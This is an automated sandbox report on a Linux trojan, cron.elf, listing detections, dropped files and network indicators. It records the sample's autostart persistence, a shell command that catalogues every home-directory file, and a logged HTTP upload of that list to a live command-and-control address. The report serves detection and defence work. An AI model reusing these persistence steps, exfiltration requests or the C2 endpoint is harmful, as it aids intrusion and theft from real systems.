Linux Analysis Report
cron.elf

Overview

General Information

Sample name: cron.elf
Analysis ID: 1522583
MD5: 0ee42b6d702553b4e87376859f4139bc
SHA1: f01b9af23aac2cb9eb4b7c82642d15533ccf6db1
SHA256: c12708e6829d7207b16a4fccf65ed05758c676cd70d3e9746c375f5d27bff501
Infos:

Detection

Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Sample and/or dropped files likely contain functionality related to malicious behavior
Sample reads /proc/mounts (often used for finding a writable filesystem)
Sample tries to persist itself using .desktop files
Uses known network protocols on non-standard ports
Writes ELF files to hidden directories
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
ELF contains segments with high entropy indicating compressed/encrypted content
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "rm" command used to delete files or directories
Executes the "uname" command used to read OS and architecture name
Sample and/or dropped files contains symbols with suspicious names
Sample has stripped symbol table
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes ELF files to disk

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: cron.elf Avira: detected
Antivirus detection for dropped file
Source: /root/.gnome3/cron.elf Avira: detection malicious, Label: LINUX/AVI.Agent.jbqcs
Multi AV Scanner detection for submitted file
Source: cron.elf ReversingLabs: Detection: 62%
Source: cron.elf Virustotal: Detection: 57% Perma Link

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2829852 - Severity 1 - ETPRO MALWARE Py/Cannibal RAT Checkin M2 : 192.168.2.23:54596 -> 157.173.198.190:15124
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 54556 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54558 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54560 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54562 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54564 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54566 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54568 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54570 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54572 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54574 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54576 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54578 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54580 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54582 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54584 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54586 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54588 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54590 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54592 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54594 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54596 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54598 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54600 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54602 -> 15124
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:54556 -> 157.173.198.190:15124
Source: unknown TCP traffic detected without corresponding DNS query: 54.171.230.55
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown TCP traffic detected without corresponding DNS query: 157.173.198.190
Source: unknown HTTP traffic detected: POST /api/root_245842932284287/upload HTTP/1.1Host: 157.173.198.190:15124Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.18.4Content-Length: 269Content-Type: multipart/form-data; boundary=0cab8ce8f52f4905853cf8e5cb943139Data Raw: 2d 2d 30 63 61 62 38 63 65 38 66 35 32 66 34 39 30 35 38 35 33 63 66 38 65 35 63 62 39 34 33 31 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 65 64 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 6c 69 73 74 2e 74 78 74 22 0d 0a 0d 0a 2e 2f 2e 62 61 73 68 72 63 0a 2e 2f 2e 70 72 6f 66 69 6c 65 0a 2e 2f 2e 73 73 68 2f 61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 0a 2e 2f 2e 63 6f 6e 66 69 67 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 2e 2f 2e 76 69 6d 69 6e 66 6f 0a 2e 2f 2e 6c 6f 63 61 6c 2f 73 68 61 72 65 2f 61 70 70 6c 69 63 61 74 69 6f 6e 73 2f 6d 69 6d 65 61 70 70 73 2e 6c 69 73 74 0a 0d 0a 2d 2d 30 63 61 62 38 63 65 38 66 35 32 66 34 39 30 35 38 35 33 63 66 38 65 35 63 62 39 34 33 31 33 39 2d 2d 0d 0a Data Ascii: --0cab8ce8f52f4905853cf8e5cb943139Content-Disposition: form-data; name="uploaded"; filename="list.txt"./.bashrc./.profile./.ssh/authorized_keys./.config/mimeapps.list./.viminfo./.local/share/applications/mimeapps.list--0cab8ce8f52f4905853cf8e5cb943139--
Source: libpython2.7.so.1.0.12.dr String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: cacert.pem.12.dr String found in binary or memory: http://www.chambersign.org
Source: libpython2.7.so.1.0.12.dr String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).
Source: libpython2.7.so.1.0.12.dr String found in binary or memory: http://www.unicode.org/reports/tr44/tr44-4.html).xxsubtype
Source: old_root.pem.12.dr String found in binary or memory: http://www.valicert.com/
Source: PKG-INFO.12.dr String found in binary or memory: https://codecov.io/github/pyca/cryptography/coverage.svg?branch=master
Source: PKG-INFO.12.dr String found in binary or memory: https://codecov.io/github/pyca/cryptography?branch=master
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://cryptography.io
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://cryptography.io/
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://cryptography.io/en/latest/installation/
Source: PKG-INFO.12.dr String found in binary or memory: https://github.com/pyca/cryptography
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://img.shields.io/pypi/v/cryptography.svg
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://mail.python.org/mailman/listinfo/cryptography-dev
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://pypi.python.org/pypi/cryptography/
Source: cron.elf, 6217.1.0000000001115000.0000000001285000.rw-.sdmp, PKG-INFO.12.dr String found in binary or memory: https://readthedocs.org/projects/cryptography/badge/?version=latest
Source: PKG-INFO.12.dr String found in binary or memory: https://travis-ci.org/pyca/cryptography
Source: PKG-INFO.12.dr String found in binary or memory: https://travis-ci.org/pyca/cryptography.svg?branch=master
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 33606
Source: unknown Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary
barindex
Sample and/or dropped files likely contain functionality related to malicious behavior
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_get_keylog_callback
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_set_keylog_callback
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_SESSION_print_keylog
Sample and/or dropped files contains symbols with suspicious names
Source: _ssl.so.12.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: _ssl.so.12.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: _ssl.so.12.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: _ssl.so.12.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: cryptography.hazmat.bindings._openssl.so.12.dr ELF static info symbol of dropped file: Cryptography_pem_password_cb
Source: cryptography.hazmat.bindings._openssl.so.12.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: cryptography.hazmat.bindings._openssl.so.12.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libcrypto.so.1.1.12.dr ELF static info symbol of dropped file: CMS_RecipientInfo_set0_password
Source: libcrypto.so.1.1.12.dr ELF static info symbol of dropped file: CMS_add0_recipient_password
Source: libcrypto.so.1.1.12.dr ELF static info symbol of dropped file: CMS_decrypt_set1_password
Source: libpython2.7.so.1.0.12.dr ELF static info symbol of dropped file: PyOS_InputHook
Source: libpython2.7.so.1.0.12.dr ELF static info symbol of dropped file: _PyImportHooks_Init
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: _rl_match_hidden_files
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_completion_word_break_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_directory_completion_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_directory_rewrite_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_event_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_execute_next
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_filename_rewrite_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_filename_stat_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_input_available_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_pre_input_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_signal_event_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_startup_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: rl_username_completion_function
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: tilde_expansion_failure_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: tilde_expansion_preexpansion_hook
Source: libreadline.so.7.12.dr ELF static info symbol of dropped file: username_completion_function
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_get_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_set_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_set_srp_password
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_set_srp_username
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_CTX_set_srp_username_callback
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_get_default_passwd_cb
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_get_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_get_srp_username
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_set_default_passwd_cb
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_set_default_passwd_cb_userdata
Source: libssl.so.1.1.12.dr ELF static info symbol of dropped file: SSL_srp_server_param_with_username
Source: readline.so.12.dr ELF static info symbol of dropped file: PyOS_InputHook
Source: readline.so.12.dr ELF static info symbol of dropped file: rl_completion_display_matches_hook
Source: readline.so.12.dr ELF static info symbol of dropped file: rl_pre_input_hook
Source: readline.so.12.dr ELF static info symbol of dropped file: rl_startup_hook
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal92.troj.evad.linELF@0/39@0/0

Persistence and Installation Behavior
barindex
Sample reads /proc/mounts (often used for finding a writable filesystem)
Source: /tmp/cron.elf (PID: 6242) File: /proc/6242/mounts Jump to behavior
Sample tries to persist itself using .desktop files
Source: /tmp/cron.elf (PID: 6242) File: /root/.config/autostart/gnome3.desktop Jump to behavior
Writes ELF files to hidden directories
Source: /tmp/cron.elf (PID: 6242) File written to hidden directory: /root/.gnome3/cron.elf Jump to dropped file
Creates hidden files and/or directories
Source: /tmp/cron.elf (PID: 6242) Directory: /root/.gnome3 Jump to behavior
Source: /usr/bin/find (PID: 6370) Directory: /root/. Jump to behavior
Source: /usr/bin/find (PID: 6370) Directory: /root/. Jump to behavior
Source: /usr/bin/find (PID: 6370) Directory: /root/.cache Jump to behavior
Source: /usr/bin/find (PID: 6370) Directory: /root/.ssh Jump to behavior
Source: /usr/bin/find (PID: 6370) Directory: /root/.config Jump to behavior
Source: /usr/bin/find (PID: 6370) Directory: /root/.local Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/cron.elf (PID: 6245) Shell command executed: sh -c "uname -p 2> /dev/null" Jump to behavior
Source: /tmp/cron.elf (PID: 6369) Shell command executed: sh -c "cd; find . -type f > /tmp/list.txt" Jump to behavior
Source: /tmp/cron.elf (PID: 6372) Shell command executed: sh -c "chmod +x /root/.gnome3/cron.elf" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6373) Chmod executable: /usr/bin/chmod -> chmod +x /root/.gnome3/cron.elf Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6218) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY Jump to behavior
Source: /usr/bin/dash (PID: 6219) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.daq1fugtlt /tmp/tmp.DKxxUtkXhW /tmp/tmp.wWDD2OqcVY Jump to behavior
Sample tries to set the executable flag
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_cffi_backend.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_codecs_cn.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_codecs_hk.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_codecs_iso2022.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_codecs_jp.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_codecs_kr.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_codecs_tw.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_ctypes.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_hashlib.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_json.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_multibytecodec.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/_ssl.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/bz2.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._constant_time.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._openssl.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libbz2.so.1.0 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libcrypto.so.1.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libexpat.so.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libffi.so.6 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libpython2.7.so.1.0 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libreadline.so.7 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libssl.so.1.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libtinfo.so.5 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/libz.so.1 (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/pyexpat.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/readline.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/resource.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/termios.so (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/certifi/cacert.pem (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/certifi/old_root.pem (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/certifi/weak.pem (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/PKG-INFO (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/dependency_links.txt (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/not-zip-safe (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/requires.txt (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /tmp/cron.elf (PID: 6217) File: /tmp/_MEIcXSYvg/cryptography-2.1.4-py2.7.egg-info/top_level.txt (bits: - usr: - grp: - all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6373) File: /root/.gnome3/cron.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes ELF files to disk
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_cffi_backend.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_codecs_cn.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_codecs_hk.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_codecs_iso2022.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_codecs_jp.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_codecs_kr.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_codecs_tw.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_ctypes.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_hashlib.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_json.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_multibytecodec.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/_ssl.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/bz2.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._constant_time.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/cryptography.hazmat.bindings._openssl.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libbz2.so.1.0 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libcrypto.so.1.1 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libexpat.so.1 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libffi.so.6 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libpython2.7.so.1.0 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libreadline.so.7 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libssl.so.1.1 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libtinfo.so.5 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/libz.so.1 Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/pyexpat.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/readline.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/resource.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6217) File written: /tmp/_MEIcXSYvg/termios.so Jump to dropped file
Source: /tmp/cron.elf (PID: 6242) File written: /root/.gnome3/cron.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 54556 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54558 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54560 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54562 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54564 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54566 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54568 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54570 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54572 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54574 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54576 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54578 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54580 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54582 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54584 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54586 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54588 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54590 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54592 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54594 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54596 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54598 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54600 -> 15124
Source: unknown Network traffic detected: HTTP traffic on port 54602 -> 15124
ELF contains segments with high entropy indicating compressed/encrypted content
Source: _codecs_cn.so.12.dr Dropped file: segment LOAD with 7.4298 entropy (max. 8.0)
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/cron.elf (PID: 6242) Queries kernel information via 'uname': Jump to behavior
Source: /sbin/ldconfig.real (PID: 6244) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/uname (PID: 6246) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/find (PID: 6370) Queries kernel information via 'uname': Jump to behavior
Source: cacert.pem.12.dr Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Executes the "uname" command used to read OS and architecture name
Source: /bin/sh (PID: 6246) Uname executable: /usr/bin/uname -> uname -p Jump to behavior
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
54.171.230.55
 unknown United States
16509 AMAZON-02US false
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
157.173.198.190
 unknown United Kingdom
22192 SSHENETUS true
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://157.173.198.190:15124/api/root_245842932284287/upload true
    		unknown
